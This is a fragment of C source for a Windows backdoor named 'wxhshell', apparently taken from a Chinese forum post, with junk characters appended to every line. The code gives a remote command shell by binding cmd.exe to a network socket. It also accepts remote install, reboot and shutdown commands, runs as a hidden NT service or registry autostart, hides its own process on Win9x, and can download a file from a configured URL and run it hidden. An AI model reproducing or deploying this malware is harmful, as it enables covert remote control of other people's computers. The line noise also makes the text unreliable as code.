  else u0w2v+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q:>;d-D|1  
  } V:QfI  
  else { kh^AH6{2  
qSkt }F%'  
    switch(cmd[0]) { OA4NXl'  
  pc:K5 -Os  
  // 帮助 Xb#x^?|  
  case '?': { :}UWy?F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }@!d(U*  
    break; x #BUIi  
  } N!9DZEcm  
  // 安装 ^dYFFKQ  
  case 'i': { ZJ=-cE2n  
    if(Install()) H Y.,f_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4C`^p  
    else `$G7Ia_ $]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XRJ<1w:  
    break; k[A=:H1"  
    } R:0Fv9bwS  
  // 卸载 "EWU:9\0  
  case 'r': { vb{&T<  
    if(Uninstall()) i ,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Jh!B|  
    else <*2.B~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ehO F@IA_  
    break; D3;^!ln]D  
    } Ibd7[A\  
  // 显示 wxhshell 所在路径 AG/nX?u7)t  
  case 'p': { w+2:eFi=/  
    char svExeFile[MAX_PATH]; 7.8ukAud  
    strcpy(svExeFile,"\n\r"); RTHdL  
      strcat(svExeFile,ExeFile); [^1;8Tbk  
        send(wsh,svExeFile,strlen(svExeFile),0); kxTh tjgv  
    break; wf6ZzG:  
    } @>(l}5U5  
  // 重启 1S  0GjR  
  case 'b': { ,;GW n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @DU]XKv  
    if(Boot(REBOOT)) Uc<B)7{'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',*I=JW;  
    else { (^eE8j/K  
    closesocket(wsh); vh KA8vr  
    ExitThread(0); }\*dD2qNL}  
    } czdNqk.kh  
    break; 0O!%NL[,  
    } ib/&8)Y+J  
  // 关机 5p U(A6RtS  
  case 'd': { O0WzDD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &nZ=w#_  
    if(Boot(SHUTDOWN)) F3,hx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ndx.SOj  
    else { M\e%GJ0  
    closesocket(wsh); .F'Fk=N  
    ExitThread(0); O`OntYwa>  
    } u2-%~Rlo  
    break; r,[vXxMy(;  
    } '`/1?,=  
  // 获取shell dH&N<  
  case 's': { ?!Rl p/  
    CmdShell(wsh); X<,sc;"b`k  
    closesocket(wsh); Lo7R^>  
    ExitThread(0); P[#V{%f*5  
    break; SZ1+h TY7d  
  } :g+R}TR[i  
  // 退出 p,]Hs{R  
  case 'x': { YU M%3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vRRi"bo  
    CloseIt(wsh); 8'Z9Z*^h#x  
    break; x8b w#  
    } /bfsC& 3  
  // 离开 KB *[b  
  case 'q': { #E{OOcM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ldI;DoE#U1  
    closesocket(wsh); G?'L1g[lc  
    WSACleanup(); }4A+J"M4y  
    exit(1); m`4Sp#m  
    break; M6pGf_qt  
        }  {hZ_f3o  
  } M2my>  
  } $ LFzpg  
@"'1"$  
  // 提示信息 y?CEV-3+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 19 bP0y  
} ,t*#o&+  
  } f o4j^,`  
VAsaJ`vcb  
  return; Y;xVB" (  
} {j ${i  
t}_qtO7>  
// shell模块句柄 [KVBT;q6  
int CmdShell(SOCKET sock) i7cMe8  
{ RUYw D tC  
STARTUPINFO si; .OX.z~":y  
ZeroMemory(&si,sizeof(si)); J@p[v3W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /NMd GKr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BT`D|<  
PROCESS_INFORMATION ProcessInfo; i7mT<w>?  
char cmdline[]="cmd"; `<b 3e(A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q`"gT;3S  
  return 0; qD7# q]  
} `[VoW2CLH+  
**fJAANc  
// 自身启动模式 cl^wLC'o  
int StartFromService(void) EG@*J*|S  
{ xo7H^!_   
typedef struct d_1w 9 F A  
{ EoIP#Cnd1  
  DWORD ExitStatus; "Z&{  
  DWORD PebBaseAddress; fC&Egy  
  DWORD AffinityMask; PG&@.KY  
  DWORD BasePriority; y9pQ1H<F;  
  ULONG UniqueProcessId; /".+OpL  
  ULONG InheritedFromUniqueProcessId; k8 ,.~HkU  
}   PROCESS_BASIC_INFORMATION; d]0fgwwGC  
\_De( p  
PROCNTQSIP NtQueryInformationProcess; #wk'&XsC#z  
Z +(V'e;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "_}Hzpy5k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~Pv4X2MO  
j'X]bd'  
  HANDLE             hProcess; \&Mipf7a  
  PROCESS_BASIC_INFORMATION pbi; 1EyM,$On  
#-f7hg*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TPvS+_<oL{  
  if(NULL == hInst ) return 0; =HQH;c"  
aqoT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `5=0f}E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e~i ?E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g5; W6QX  
Ex&f}/F  
  if (!NtQueryInformationProcess) return 0; f,)[f M4  
l {\~I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w2@ `0  
  if(!hProcess) return 0; LXJ"ct  
=S|SQz5%w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9fzbR~s  
5d*k[fZ  
  CloseHandle(hProcess); Y \& 4`v'  
Uj(,6K8W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TsfOod   
if(hProcess==NULL) return 0; P%ev8]2  
#J\ 2/~  
HMODULE hMod; ++5W_Ooep  
char procName[255]; )o SFHf  
unsigned long cbNeeded; Me`jh8(K\6  
&t5pJ`$(Cy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z"Gk K T  
)DI/y1  
  CloseHandle(hProcess); s@jzu  
Fwm{oypg%  
if(strstr(procName,"services")) return 1; // 以服务启动 [8^j wnAYS  
!D7/Ja  
  return 0; // 注册表启动 *h-_   
} '<^%> R2  
n^UrHHOL  
// 主模块 iKv{)5  
int StartWxhshell(LPSTR lpCmdLine) 05TZ  
{ s~Ni\SF  
  SOCKET wsl; f)({;,q  
BOOL val=TRUE; uV#/Lgw{M  
  int port=0; 8]YFlW9  
  struct sockaddr_in door; 7M<7^)9  
di "rvw;R  
  if(wscfg.ws_autoins) Install(); z%hB=V!~91  
;v[F@O~*)  
port=atoi(lpCmdLine); TMhUo#`I|  
E;@` { v  
if(port<=0) port=wscfg.ws_port; wbU pD(  
`-hFk88  
  WSADATA data; VWI|`O.w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "o*F$7D!  
>wNE!Oa*B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sG%Q?&-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QukLsl]U  
  door.sin_family = AF_INET; Ki,]*-XO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Aq^1(-g  
  door.sin_port = htons(port); c#<v:b  
([qw#!;w;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &s_[~g<  
closesocket(wsl); `|8)A)ZVT  
return 1; Gm}ecW  
} LrX7WI  
%i]q} M  
  if(listen(wsl,2) == INVALID_SOCKET) { JcvWE $  
closesocket(wsl); %t([  
return 1; 0vqXLFf   
} pfe9 n[  
  Wxhshell(wsl); C o4QWyt:  
  WSACleanup(); _ncqd,&z  
'&I.w p`^  
return 0; t9Ht 5 4  
|dsd5Vdr  
} 5sao+dZ"|  
w-Y-;*S  
// 以NT服务方式启动 ZL:nohB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?i>.<IPOq  
{ )|~pocXt<  
DWORD   status = 0; ~]*P/'-{#  
  DWORD   specificError = 0xfffffff; j,K]T J  
u%Bk"noCa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *T$`5|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +?),BRCce  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DB We>Ef(  
  serviceStatus.dwWin32ExitCode     = 0; m*6C *M  
  serviceStatus.dwServiceSpecificExitCode = 0; +t({:>E  
  serviceStatus.dwCheckPoint       = 0; Ko]A}v\]  
  serviceStatus.dwWaitHint       = 0; jqPQ= X  
s(w6Ldi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vj]-p=  
  if (hServiceStatusHandle==0) return; 1mz;4xb  
JQP7>W  
status = GetLastError(); ?\L@Pr|=Dr  
  if (status!=NO_ERROR) ~c%H3e>Jcq  
{ Pn\ Lg8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +?5nkhH  
    serviceStatus.dwCheckPoint       = 0; 6+b!|`?l+  
    serviceStatus.dwWaitHint       = 0; N?eWf +C  
    serviceStatus.dwWin32ExitCode     = status; JK4vQWy  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Y4%Fv>@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t4R=$ km  
    return; aze}ko NE  
  } Ms ;:+JI  
Z 7rVM   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OGw =e{  
  serviceStatus.dwCheckPoint       = 0; IP~*_R"bM  
  serviceStatus.dwWaitHint       = 0; ]x8 ^s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AifnC4  
} I'{-T=R-q  
\Bg;}\8 X  
// 处理NT服务事件,比如:启动、停止 cs `T7?>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NRe{0U}nO  
{ )mT{w9u  
switch(fdwControl) ~5<-&Dyp7  
{ I,OEor6%R(  
case SERVICE_CONTROL_STOP: h[b;_>7  
  serviceStatus.dwWin32ExitCode = 0; O~N0JK_>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MDGD*Qn~  
  serviceStatus.dwCheckPoint   = 0; Z& e_yl  
  serviceStatus.dwWaitHint     = 0; sPuNwVX>}I  
  { "q5Tw+KCfu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S 'S|k7Lp  
  } Lt $LXE  
  return; P!q! +g  
case SERVICE_CONTROL_PAUSE: |j($2.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }SIUsh'  
  break; h W\q  
case SERVICE_CONTROL_CONTINUE: @iWql*K;m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Ux3,X=  
  break; Hy`Ee7>  
case SERVICE_CONTROL_INTERROGATE:  u;R<  
  break; 0l=g$G \%  
}; G[z!;Zuf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); owHhlS{  
} |B yw]\3v  
RwJ#G7S#  
// 标准应用程序主函数 uH7 $/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T2|dFKeWG  
{ 6K501!70g6  
+L D\~dcV+  
// 获取操作系统版本 M}2a/}4   
OsIsNt=GetOsVer(); gM~ dPM|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V+myGsr`  
ejP273*ah  
  // 从命令行安装 f-6-!  
  if(strpbrk(lpCmdLine,"iI")) Install(); H/n3il_-I  
&~Qi+b0!  
  // 下载执行文件 5]D"y Ay81  
if(wscfg.ws_downexe) { (!`TO{!6P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j#mo Vq  
  WinExec(wscfg.ws_filenam,SW_HIDE); {,61V;Bpm  
} I/:M~ b  
 0IO#h{t  
if(!OsIsNt) { OP>rEUtj  
// 如果时win9x,隐藏进程并且设置为注册表启动 4d~Sn81xW  
HideProc(); </~!5x62Oy  
StartWxhshell(lpCmdLine); &qKJN#NM@  
} V`Ve__5;  
else Rg@W0Bc)  
  if(StartFromService()) Y|$3%t  
  // 以服务方式启动 Q'xZ\t  
  StartServiceCtrlDispatcher(DispatchTable); EF1aw2  
else -wJ/j~ +m+  
  // 普通方式启动 yzJ VU0s  
  StartWxhshell(lpCmdLine); \1x<bx/1  
M_asf7|v  
return 0; kH:! 7L_=  
}
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只看该作者 1 发表于: 2006-10-10
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